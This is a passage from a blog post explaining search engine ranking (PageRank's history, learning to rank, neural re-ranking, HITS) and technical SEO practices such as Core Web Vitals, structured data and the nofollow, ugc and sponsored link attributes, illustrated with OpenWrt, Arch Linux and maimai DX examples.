&lt;li&gt;&lt;strong&gt;Case one&lt;/strong&gt;: the article is published only on your personal blog&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Case two&lt;/strong&gt;: the article is cited by &lt;code&gt;BEMANI WIKI&lt;/code&gt; and the blogs of some veteran music critics&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;From the perspective of &lt;code&gt;traditional PageRank&lt;/code&gt;&lt;/strong&gt;: in case two, every link pointing to your article is a trust vote. The weight from an expert like &lt;code&gt;BEMANI WIKI&lt;/code&gt; is far higher than that of 100 ordinary forum signature links. So the article in case two is assigned a much higher PageRank value and is considered a more authoritative, more trustworthy resource
:::&lt;/p&gt;
&lt;p&gt;:::red[You&apos;re right, but]
That public &lt;code&gt;PageRank&lt;/code&gt; score from 0 to 10 &lt;strong&gt;stopped being updated as early as late 2013, and was formally sentenced to death by Google in 2016!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why did it die?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Its &lt;strong&gt;publicness&lt;/strong&gt; and &lt;strong&gt;simplicity&lt;/strong&gt; spawned a huge, distorted link trading market. Black-hat SEOs stopped focusing on creating high-quality content and obsessed over buying and exchanging high-PR links, trying to manipulate this voting system&lt;/p&gt;
&lt;p&gt;It was like an election with large-scale bribery and fake ballots, leaving the result untrustworthy. Public PageRank was &lt;strong&gt;alienated&lt;/strong&gt; from a measure of authority into a vulnerability that could be directly attacked and exploited, polluting the entire search ecosystem&lt;/p&gt;
&lt;p&gt;To preserve the fairness of search results, Google had to personally execute the public form of this once-flagship algorithm (good riddance, meow)
:::&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The modern authority model, PageRank reborn&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;PR is dead, but the core idea of &lt;strong&gt;calculating authority through link analysis&lt;/strong&gt; didn&apos;t disappear. Instead, in a more complex, smarter and harder-to-manipulate form, it merged into the ocean of hundreds of ranking signals used by modern search engines&lt;/p&gt;
&lt;p&gt;We can think of the modern authority model as PageRank-ADVANCED. It no longer cares only about who voted, but more about:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;The topical relevance of the vote &lt;code&gt;Topical Relevance&lt;/code&gt;&lt;/strong&gt;
&lt;strong&gt;How the modern model thinks&lt;/strong&gt;: the value of a link depends largely on the &lt;strong&gt;topic of the page&lt;/strong&gt; it sits on&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::blue[EXAMPLE]
A link from an &lt;em&gt;Arch Linux Chinese Wiki&lt;/em&gt; page to your &lt;em&gt;Arch Linux Installation Guide&lt;/em&gt; is &lt;strong&gt;far more valuable&lt;/strong&gt; than a link from a &lt;em&gt;food blog directory&lt;/em&gt;, even if the latter might have a higher traditional PR value&lt;/p&gt;
&lt;p&gt;Because the former tells Google: an authority in the Linux field recommended another Linux resource&lt;br /&gt;
That is a &lt;strong&gt;highly relevant&lt;/strong&gt;, professional endorsement
:::&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;The surrounding context of the link &lt;code&gt;Surrounding Context&lt;/code&gt;&lt;/strong&gt;
&lt;strong&gt;How the modern model thinks&lt;/strong&gt;: the text around the link — was it carefully placed in the body by an editor, or is it buried in a pile of links in the site footer?&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::blue[EXAMPLE]
&lt;strong&gt;High value:&lt;/strong&gt;
In the body of an article reviewing an OpenWrt router, the author writes: for detailed configuration of a bypass router, I strongly recommend this &lt;em&gt;Ultra-detailed OpenWrt Bypass Router Configuration Guide&lt;/em&gt; on Bulianglin; he explains every pitfall clearly &lt;s&gt;this is not a sponsored post&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Low value&lt;/strong&gt;:
In the blogroll area of your friend&apos;s blog footer, there&apos;s a simple anchor text link &lt;em&gt;Chongxi&apos;s blog&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The former&apos;s context clearly explains &lt;strong&gt;why&lt;/strong&gt; it&apos;s recommending you; that&apos;s a strong editorial endorsement signal
:::&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;User behavior around the link &lt;code&gt;User Behavior&lt;/code&gt;&lt;/strong&gt;
&lt;strong&gt;How the modern model thinks&lt;/strong&gt;: does anyone actually look at this link? After clicking, do users stay a long time or bounce straight back&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::blue[EXAMPLE]
Google can obtain anonymized user behavior data through Chrome, Android and various other channels. If a link pointing to your &lt;em&gt;maimai DX Chart Constants Table&lt;/em&gt; is clicked by large numbers of users, and they stay on your page for an average of 5 minutes, that effectively verifies the link&apos;s &lt;strong&gt;real value&lt;/strong&gt;
:::&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Today&apos;s link authority is a complex score combining &lt;strong&gt;relevance, context, editorial value and real user feedback&lt;/strong&gt;. It is far harder to manipulate than PageRank, and therefore &lt;strong&gt;fairer to creators who genuinely produce high-quality, professional content&lt;/strong&gt;. I hope that after reading this, you&apos;ll stop trying to outsmart SEO through every possible channel; good wine needs no bush, and writing quality content comes first&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;3.4 The Core of Modern Ranking: Learning to Rank&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;LTR&lt;/code&gt; is the key technology in the fine-ranking stage of modern search engines. It turns the ranking problem into a machine learning problem, relying on a large number of features and a trained model to decide page rankings.&lt;br /&gt;
Common LTR models include tree-based models (such as &lt;code&gt;Gradient Boosting Decision Trees, GBDT&lt;/code&gt;) and neural network models&lt;/p&gt;
&lt;p&gt;:::blue[EXAMPLE]
&lt;strong&gt;Query&lt;/strong&gt;: &lt;em&gt;What to do after installing Arch Linux&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What features an LTR model considers (a simple example)&lt;/strong&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;BM25 score&lt;/strong&gt;: measures the literal match between page content and the query&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Backlink features&lt;/strong&gt;: does the page have external links from the official Arch Linux forum or well-known tech blogs? What is the anchor text of those links?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;User behavior signals&lt;/strong&gt;: when this article appears in search results, what is its historical click-through rate? After users click in, how long do they stay on average? Do they bounce right back (&lt;code&gt;Pogo-sticking&lt;/code&gt;), or read to the end before leaving (&lt;code&gt;Long Click&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Content quality features&lt;/strong&gt;: is the article detailed and in-depth? Does it provide clear code examples? Does it combine text and images? Does it reflect the author&apos;s real experience &lt;code&gt;E-E-A-T&lt;/code&gt;?
:::&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;How it works&lt;/strong&gt;:
By learning from massive amounts of &lt;code&gt;query-document-user feedback&lt;/code&gt; data, the LTR model automatically assigns weights to these hundreds of features and finally outputs a composite relevance score&lt;br /&gt;
It can understand that for this query, users may care more about the feature &lt;code&gt;providing a concrete solution&lt;/code&gt; than about &lt;code&gt;number of backlinks&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;3.5 Neural Re-ranking&lt;/h3&gt;
&lt;p&gt;This is one of the most advanced techniques, using deep learning models (such as &lt;code&gt;Transformer&lt;/code&gt;, &lt;code&gt;BERT&lt;/code&gt;) to perform finer semantic matching that goes beyond simple keyword matching&lt;/p&gt;
&lt;p&gt;:::blue[EXAMPLE]
&lt;strong&gt;Query&lt;/strong&gt;: &lt;em&gt;How do I quickly raise my Rating in maimai DX&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How neural re-ranking understands it&lt;/strong&gt;:
&lt;strong&gt;Traditional methods&lt;/strong&gt;: might look for articles containing the words &quot;maimai DX&quot;, &quot;quickly&quot;, &quot;raise&quot; and &quot;Rating&quot;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Neural models&lt;/strong&gt;: they can understand that the &lt;strong&gt;deep intent&lt;/strong&gt; of this query is &quot;finding efficient score-farming tricks&quot;&lt;br /&gt;
So it will not only return articles whose titles match, but will also rate highly an article titled &lt;em&gt;Recommended Easy Songs for Farming Score&lt;/em&gt;, even if the words &quot;quickly raise&quot; never appear in it. Because at the semantic level it understands that &quot;farming easy songs&quot; is an excellent answer to the question of &quot;quickly raising Rating&quot;
:::&lt;/p&gt;
&lt;h2&gt;4. Ranking Algorithms&lt;/h2&gt;
&lt;p&gt;Besides the models above, there are several classic algorithm families worth knowing; together they form the search engine&apos;s arsenal of algorithms&lt;/p&gt;
&lt;h3&gt;4.1 Classic Algorithms: BM25 &amp;amp; TF-IDF&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Covered in detail in section 3.2; TF-IDF is the foundation of BM25, and its core idea is to evaluate word importance through term frequency and inverse document frequency&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;4.2 HITS&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;Hyperlink-Induced Topic Search&lt;/code&gt;, unlike PageRank, is query-dependent. It divides pages into two types:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Hub &lt;code&gt;Hub&lt;/code&gt;&lt;/strong&gt;: a high-quality hub page is a resource list page that links to multiple related authority pages&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Authority &lt;code&gt;Authority&lt;/code&gt;&lt;/strong&gt;: a high-quality authority page is an official or definitive content page that is linked to by multiple related hub pages&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::blue[EXAMPLE]
&lt;strong&gt;Query&lt;/strong&gt;: &lt;em&gt;OpenWrt firmware download&lt;/em&gt;&lt;br /&gt;
&lt;strong&gt;Authority page&lt;/strong&gt;: the OpenWrt official firmware download page&lt;br /&gt;
&lt;strong&gt;Hub page (&lt;code&gt;Hub&lt;/code&gt;)&lt;/strong&gt;: a blog post titled &lt;em&gt;OpenWrt from Beginner to Expert&lt;/em&gt; that lists and links the official firmware download page, the LEDE firmware download page, and the GitHub pages of several well-known third-party firmware builds; that article is a high-quality hub page
:::&lt;/p&gt;
&lt;h3&gt;4.3 LTR&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Covered in detail in section 3.4 as the core of modern ranking&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;4.4 Deep Learning&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Covered in detail in section 3.5 as a frontier semantic matching technique; its core is using models such as BERT for deep semantic understanding&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;5. Result Presentation&lt;/h2&gt;
&lt;p&gt;A good search result presentation can greatly boost click-through rate&lt;/p&gt;
&lt;h3&gt;5.1 Title&lt;/h3&gt;
&lt;p&gt;:::blue[EXAMPLE]
&lt;strong&gt;Bad&lt;/strong&gt;: OpenWrt&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Awesome&lt;/strong&gt;: [2025] The Ultra-Detailed Guide to Configuring an OpenWrt Router
:::&lt;/p&gt;
&lt;h3&gt;5.2 Snippet&lt;/h3&gt;
&lt;p&gt;The snippet is the short description shown below the title. Search engines automatically extract the part they consider most relevant.&lt;/p&gt;
&lt;h3&gt;5.3 URL and Breadcrumb Navigation &lt;code&gt;Breadcrumb Navigation&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;A clear URL structure and breadcrumb navigation help users and search engines understand a page&apos;s position within the site&lt;/p&gt;
&lt;p&gt;:::blue[EXAMPLE]&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;URL&lt;/strong&gt;: &lt;code&gt;.../guides/openwrt/openclash/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Breadcrumb&lt;/strong&gt;: &lt;code&gt;Home &amp;gt; Guides &amp;gt; OpenWrt &amp;gt; OpenClash Configuration Tutorial&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;I suggest using &lt;code&gt;BreadcrumbList&lt;/code&gt; Schema.org structured data to mark up your breadcrumb navigation, which gives it a chance to appear directly in search results.
&lt;code&gt;json         {           &quot;@context&quot;: &quot;https://schema.org&quot;,           &quot;@type&quot;: &quot;BreadcrumbList&quot;,           &quot;itemListElement&quot;: [{             &quot;@type&quot;: &quot;ListItem&quot;,             &quot;position&quot;: 1,             &quot;name&quot;: &quot;指南&quot;,             &quot;item&quot;: &quot;/guides&quot;           },{             &quot;@type&quot;: &quot;ListItem&quot;,             &quot;position&quot;: 2,             &quot;name&quot;: &quot;OpenWrt&quot;,             &quot;item&quot;: &quot;/guides/openwrt&quot;           }]         }         &lt;/code&gt;
:::&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h3&gt;6. Technical SEO&lt;/h3&gt;
&lt;p&gt;Technical SEO aims to optimize a site&apos;s technical structure, ensuring search engines can smoothly crawl, render and index it, and improving user experience&lt;/p&gt;
&lt;h3&gt;6.1 Crawling and Indexing Optimization Guide&lt;/h3&gt;
&lt;h4&gt;6.1.1 robots.txt audit&lt;/h4&gt;
&lt;p&gt;Regularly audit your &lt;code&gt;robots.txt&lt;/code&gt; file to make sure you haven&apos;t mistakenly blocked crawling of important content.&lt;/p&gt;
&lt;p&gt;:::blue[EXAMPLE]
Suppose your site is a SPA built with React or Vue, and the JS files are essential. If you mistakenly add &lt;code&gt;Disallow: /assets/js/&lt;/code&gt; to &lt;code&gt;robots.txt&lt;/code&gt;, crawlers won&apos;t be able to load and render your pages, and all they&apos;ll see is a blank page
:::&lt;/p&gt;
&lt;h4&gt;6.1.2 Precise use of the noindex tag&lt;/h4&gt;
&lt;p&gt;Use &lt;code&gt;noindex&lt;/code&gt; on low-quality pages (search result pages, duplicate content pages, tag aggregation pages and so on) to concentrate crawl budget and page weight
:::blue[EXAMPLE]
Your blog may have many tag pages, such as &lt;code&gt;/tags/openwrt&lt;/code&gt;. If such a page simply lists related article titles without unique original content, it is a low-quality page.&lt;br /&gt;
Adding &lt;code&gt;&amp;lt;meta name=&quot;robots&quot; content=&quot;noindex, follow&quot;&amp;gt;&lt;/code&gt; to these pages tells Google: don&apos;t index this list page, but you can follow the links on it to crawl those valuable articles
:::&lt;/p&gt;
&lt;h4&gt;6.1.3 Sitemap maintenance&lt;/h4&gt;
&lt;p&gt;Make sure the sitemap is generated dynamically and contains only the canonical URLs you want crawled
:::blue[EXAMPLE]
When you publish &lt;em&gt;A Brief Look at xi&apos;s World Fragment Album&lt;/em&gt;, your sitemap generation script should automatically add this new URL to &lt;code&gt;sitemap.xml&lt;/code&gt; and update the &lt;code&gt;&amp;lt;lastmod&amp;gt;&lt;/code&gt; time.&lt;br /&gt;
Then you can use the sitemap feature in &lt;code&gt;Google Search Console&lt;/code&gt; to actively notify Google that there is new content to crawl
:::&lt;/p&gt;
&lt;h4&gt;6.1.4 Monitor the crawl stats report&lt;/h4&gt;
&lt;p&gt;In Google Search Console, check the &lt;code&gt;Settings &amp;gt; Crawl stats&lt;/code&gt; report regularly, watching for 404 errors and 5xx server errors
:::blue[EXAMPLE]
If you see a &lt;code&gt;Server connectivity&lt;/code&gt; warning in the report, it means your server may have performance problems or has blown up. You should investigate the server immediately, because persistent errors will cause Google to lower your site&apos;s crawl frequency
:::&lt;/p&gt;
&lt;h3&gt;6.2 Website Performance Optimization &lt;code&gt;Core Web Vitals&lt;/code&gt;&lt;/h3&gt;
&lt;h4&gt;Largest Contentful Paint / LCP&lt;/h4&gt;
&lt;p&gt;Measures the time it takes for the main visible content of a page to load.
:::blue[EXAMPLE]
In your Arch Linux tutorial article, the largest element is usually the header image or the screenshot at the top. You need to make sure this image is compressed and isn&apos;t blocked from loading by other CSS or JS files. Consider using &lt;code&gt;&amp;lt;link rel=&quot;preload&quot;&amp;gt;&lt;/code&gt; for this key image to raise its loading priority&lt;br /&gt;
Consider compressing the image to WebP/AVIF to significantly reduce its size and optimize loading speed
:::&lt;/p&gt;
&lt;h4&gt;INP / Interaction to Next Paint&lt;/h4&gt;
&lt;p&gt;Measures the response time to user interactions with the page.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;INP formally replaced FID in March 2024&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;:::blue[EXAMPLE]
Your site has a complex song search filter implemented in JavaScript. When a user clicks a filter button, if the JS needs to do heavy computation and the page freezes for more than 200 milliseconds, the INP metric will get worse&lt;br /&gt;
Optimization methods include splitting long tasks into smaller chunks and optimizing the filtering logic algorithmically (depending on your actual situation)
:::&lt;/p&gt;
&lt;h4&gt;CLS / Cumulative Layout Shift&lt;/h4&gt;
&lt;p&gt;Measures the visual stability of page content
:::blue[EXAMPLE]
While your article page is loading, an ad banner loads at the top, but it loads more slowly than the body text. When the ad appears, it pushes the body content below down, causing the text the user is reading to jump.&lt;br /&gt;
This is a typical CLS problem. The solution is to set explicit &lt;code&gt;width&lt;/code&gt; and &lt;code&gt;height&lt;/code&gt; attributes on the ad container in advance, reserving the space even before the ad loads
:::&lt;/p&gt;
&lt;h3&gt;6.3 Structured Data &lt;code&gt;Schema Markup&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Using the Schema.org standard can help search engines better understand your page content&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Basic deployment&lt;/strong&gt;: add markup for articles, blogs, organization info and so on&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Aim for rich results&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::blue[EXAMPLE]
At the end of the &lt;em&gt;OpenWrt Configuration Guide&lt;/em&gt;, there&apos;s an FAQ section
&lt;code&gt;json         {           &quot;@context&quot;: &quot;https://schema.org&quot;,           &quot;@type&quot;: &quot;FAQPage&quot;,           &quot;mainEntity&quot;: [{             &quot;@type&quot;: &quot;Question&quot;,             &quot;name&quot;: &quot;旁路由模式下如何避免DHCP冲突？&quot;,             &quot;acceptedAnswer&quot;: {               &quot;@type&quot;: &quot;Answer&quot;,               &quot;text&quot;: &quot;核心是关闭旁路由的DHCP功能，并将其网关指向主路由...&quot;             }           }]         }         &lt;/code&gt;&lt;/p&gt;
&lt;p&gt;After deployment, this Q&amp;amp;A may appear directly below your search result, drawing users&apos; clicks
:::&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;6.4 Mastering &lt;code&gt;nofollow&lt;/code&gt;, &lt;code&gt;sponsored&lt;/code&gt;, &lt;code&gt;ugc&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Driving traffic is of course important, but equally important is having a &lt;strong&gt;valve&lt;/strong&gt; to precisely control &lt;strong&gt;how your site&apos;s weight flows out&lt;/strong&gt;, and to show search engines the &lt;strong&gt;nature&lt;/strong&gt; of your links to other sites&lt;br /&gt;
That&apos;s what the three values &lt;code&gt;nofollow&lt;/code&gt;, &lt;code&gt;sponsored&lt;/code&gt; and &lt;code&gt;ugc&lt;/code&gt; in the &lt;code&gt;rel&lt;/code&gt; attribute are for&lt;/p&gt;
&lt;h4&gt;6.4.1 Link Relationship Attributes&lt;/h4&gt;
&lt;p&gt;Originally there was only &lt;code&gt;rel=&quot;nofollow&quot;&lt;/code&gt;, mainly to solve the flood of spam links in blog comment sections. Site owners used it to tell search engines: &quot;&lt;strong&gt;Don&apos;t follow this link, don&apos;t pass my page weight to it, I don&apos;t endorse the content of this link&lt;/strong&gt;&quot;&lt;/p&gt;
&lt;p&gt;However, a simple &lt;code&gt;nofollow&lt;/code&gt; can&apos;t distinguish the motivation behind a link. So in 2019, Google introduced two more specific attributes, splitting up &lt;code&gt;nofollow&lt;/code&gt;&apos;s responsibilities:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;rel=&quot;sponsored&quot;&lt;/code&gt;: explicitly for marking &lt;strong&gt;paid links&lt;/strong&gt;, such as ads and sponsored content&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rel=&quot;ugc&quot;&lt;/code&gt;: explicitly for marking &lt;strong&gt;user-generated content &lt;code&gt;User Generated Content&lt;/code&gt;&lt;/strong&gt;, such as blog comments and forum posts&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rel=&quot;nofollow&quot;&lt;/code&gt;: now a general fallback for when you don&apos;t want to endorse a link but it doesn&apos;t fall into the &lt;code&gt;sponsored&lt;/code&gt; or &lt;code&gt;ugc&lt;/code&gt; categories&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Google now treats these three attributes as &lt;strong&gt;hints&lt;/strong&gt; rather than &lt;strong&gt;directives&lt;/strong&gt;&lt;br /&gt;
This means that in some cases (for example, to better discover content), Google &lt;em&gt;may&lt;/em&gt; choose to follow a &lt;code&gt;nofollow&lt;/code&gt; link, but it &lt;strong&gt;still won&apos;t pass ranking weight&lt;/strong&gt; &lt;em&gt;PageRank&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;:::blue[Preventing comment section abuse, preventing backlink pollution]
You&apos;ve opened a comment section below your &lt;em&gt;Arch Linux Installation Guide&lt;/em&gt;. Soon some spam accounts start posting comments saying &quot;Great article! Check out mine&quot; with links to low-quality or even gambling sites&lt;/p&gt;
&lt;p&gt;If you do nothing, your high-quality page is effectively voting for these spam sites. This not only &lt;strong&gt;dilutes your own page weight&lt;/strong&gt;, but you may also be penalized by search engines for linking to bad neighbors — this is &lt;strong&gt;backlink pollution&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Some careless readers might ask here: hey Chongxi, didn&apos;t you say PageRank was abandoned? Yes, traditional PageRank is indeed abandoned, but its ideas were passed down; this voting mechanism still exists, only the algorithm is stricter&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Solution&lt;/strong&gt;&lt;br /&gt;
Automatically add &lt;code&gt;rel=&quot;ugc&quot;&lt;/code&gt; to every link submitted by users in comments
&lt;code&gt;html     &amp;lt;!-- 用户在评论中留下的链接 --&amp;gt;     &amp;lt;a href=&quot;http://spam-site.xice.cx&quot; rel=&quot;ugc&quot;&amp;gt;非常好文章！看看我的&amp;lt;/a&amp;gt;     &lt;/code&gt;
This is usually done automatically by your backend or CMS (such as WordPress) when rendering user comments. You need to make sure your system has this capability. If you build your blog yourself, then when you process user-submitted Markdown or HTML and render it on the frontend, use a filter to add &lt;code&gt;rel=&quot;ugc&quot;&lt;/code&gt; to all &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tags&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ugc&lt;/code&gt; and &lt;code&gt;nofollow&lt;/code&gt; can be combined:
To stay compatible with other search engines that may not fully understand &lt;code&gt;ugc&lt;/code&gt;, best practice is to use both:
&lt;code&gt;html     &amp;lt;a href=&quot;http://spam-site.xice.cx&quot; rel=&quot;ugc nofollow&quot;&amp;gt;非常好文章，即使是我也感到心潮澎湃&amp;lt;/a&amp;gt;     &lt;/code&gt;
:::&lt;/p&gt;
&lt;p&gt;:::blue[Building business integrity, marking paid links]
A well-known router hardware vendor contacts you, hoping to pay for a link to their latest router in your &lt;em&gt;Factory OpenWrt Hardware Recommendations&lt;/em&gt; article&lt;/p&gt;
&lt;p&gt;According to Google&apos;s webmaster guidelines, any paid link placed for the purpose of influencing search rankings must be clearly disclosed. If you take the money but make the link look like a natural editorial recommendation (i.e., a &quot;dofollow&quot; link with no &lt;code&gt;rel&lt;/code&gt; attribute), once Google finds out, your site may receive a severe &lt;strong&gt;manual action penalty&lt;/strong&gt;, causing rankings to plummet or even disappear from search results&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Solution&lt;/strong&gt;: add &lt;code&gt;rel=&quot;sponsored&quot;&lt;/code&gt; to this paid link
&lt;code&gt;html     &amp;lt;a href=&quot;http://yoanshen.com/ganshenme&quot; rel=&quot;sponsored&quot;&amp;gt;点击购买最新最热路由器&amp;lt;/a&amp;gt;     &lt;/code&gt;
This isn&apos;t just an SEO technical issue; it&apos;s a matter of &lt;strong&gt;business integrity&lt;/strong&gt;. Clearly marking paid collaborations both follows search engine rules and maintains the trust between you and your readers
:::&lt;/p&gt;
&lt;p&gt;:::blue[Refining your internal linking strategy]&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Fair warning: this one is fairly controversial&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Your blog&apos;s sidebar has a link to the login/registration page. This link appears on &lt;strong&gt;every single page&lt;/strong&gt; of your site&lt;/p&gt;
&lt;p&gt;Some SEO experts used to believe that pages like &quot;Login&quot;, &quot;About Us&quot; and &quot;Privacy Policy&quot; that don&apos;t help rankings shouldn&apos;t receive weight from your high-quality articles. So they would add &lt;code&gt;rel=&quot;nofollow&quot;&lt;/code&gt; to these internal links, trying to sculpt or funnel weight to more important product or article pages&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;```html
&amp;lt;!-- 传统做法，现在已不推荐 --&amp;gt;
&amp;lt;a href=&quot;/login&quot; rel=&quot;nofollow&quot;&amp;gt;登录&amp;lt;/a&amp;gt;
```
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;This practice is now outdated and ineffective.&lt;/strong&gt; Google has made it clear that when a link on a page is marked &lt;code&gt;nofollow&lt;/code&gt;, its corresponding PageRank &lt;strong&gt;simply evaporates&lt;/strong&gt; and is &lt;strong&gt;not&lt;/strong&gt; redistributed to other &quot;dofollow&quot; links on that page&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The right approach&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Don&apos;t use &lt;code&gt;nofollow&lt;/code&gt; on internal links to try to control weight flow&lt;/strong&gt;. It only wastes weight that should be circulating within your site&lt;/li&gt;
&lt;li&gt;For internal pages you consider unimportant and don&apos;t want indexed (such as login pages or complex filter result pages), the right approach is to block crawling with &lt;code&gt;robots.txt&lt;/code&gt;, or prevent indexing with &lt;code&gt;&amp;lt;meta name=&quot;robots&quot; content=&quot;noindex&quot;&amp;gt;&lt;/code&gt;
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;When to use, how to choose&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Attribute combination&lt;/th&gt;
&lt;th&gt;Use case&lt;/th&gt;
&lt;th&gt;Core purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;rel=&quot;sponsored&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Ads, sponsored articles, paid reviews — any link you place because of a financial transaction&lt;/td&gt;
&lt;td&gt;Maintain business integrity.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;rel=&quot;ugc&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Links in all user-generated content: blog comments, forum posts, user signatures&lt;/td&gt;
&lt;td&gt;Prevent link pollution, protect site reputation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;rel=&quot;nofollow&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;When you link to a site but don&apos;t want to endorse it at all, and it doesn&apos;t fall under &lt;code&gt;sponsored&lt;/code&gt; or &lt;code&gt;ugc&lt;/code&gt;. A general fallback.&lt;/td&gt;
&lt;td&gt;Declare neutrality, don&apos;t pass PageRank&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;No attribute at all&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;(the default &quot;dofollow&quot; link)&lt;/strong&gt; When you genuinely recommend a high-quality, relevant external resource&lt;/td&gt;
&lt;td&gt;Pass weight, contribute value to the internet, build relationships&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;7. Content Optimization &lt;code&gt;Content Optimization&lt;/code&gt;&lt;/h2&gt;
&lt;h3&gt;7.1 Keyword Research and Topic Modeling&lt;/h3&gt;
&lt;h4&gt;7.1.1 Moving from keywords to topics&lt;/h4&gt;
&lt;p&gt;Build a network of &lt;code&gt;pillar pages + cluster content&lt;/code&gt; around a core topic&lt;/p&gt;
&lt;h4&gt;7.1.2 Analyze search intent&lt;/h4&gt;
&lt;p&gt;By looking at the SERP, work out whether a user searching a term wants a tutorial (informational) or the official website (navigational)&lt;/p&gt;
&lt;h3&gt;7.2 E-E-A-T&lt;/h3&gt;
&lt;p&gt;E-E-A-T stands for&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Experience&lt;br /&gt;
Expertise&lt;br /&gt;
Authoritativeness&lt;br /&gt;
Trustworthiness&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;7.2.1 Author identity presentation E-T&lt;/h4&gt;
&lt;p&gt;Provide an author bio next to or at the end of the article, linking to the author&apos;s GitHub, tech blog or social media, and showing their experience in the relevant field&lt;/p&gt;
&lt;h4&gt;7.2.2 Making experience concrete E&lt;/h4&gt;
&lt;p&gt;:::blue[EXAMPLE]
Write an article about &lt;em&gt;Reviewing xi&apos;s Glorious Crown in maimai DX&lt;/em&gt;. Instead of just describing it in words, why not:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Embed a link to a hand-cam video &lt;strong&gt;you recorded and uploaded to a video site&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Post &lt;strong&gt;your own&lt;/strong&gt; score screenshots&lt;/li&gt;
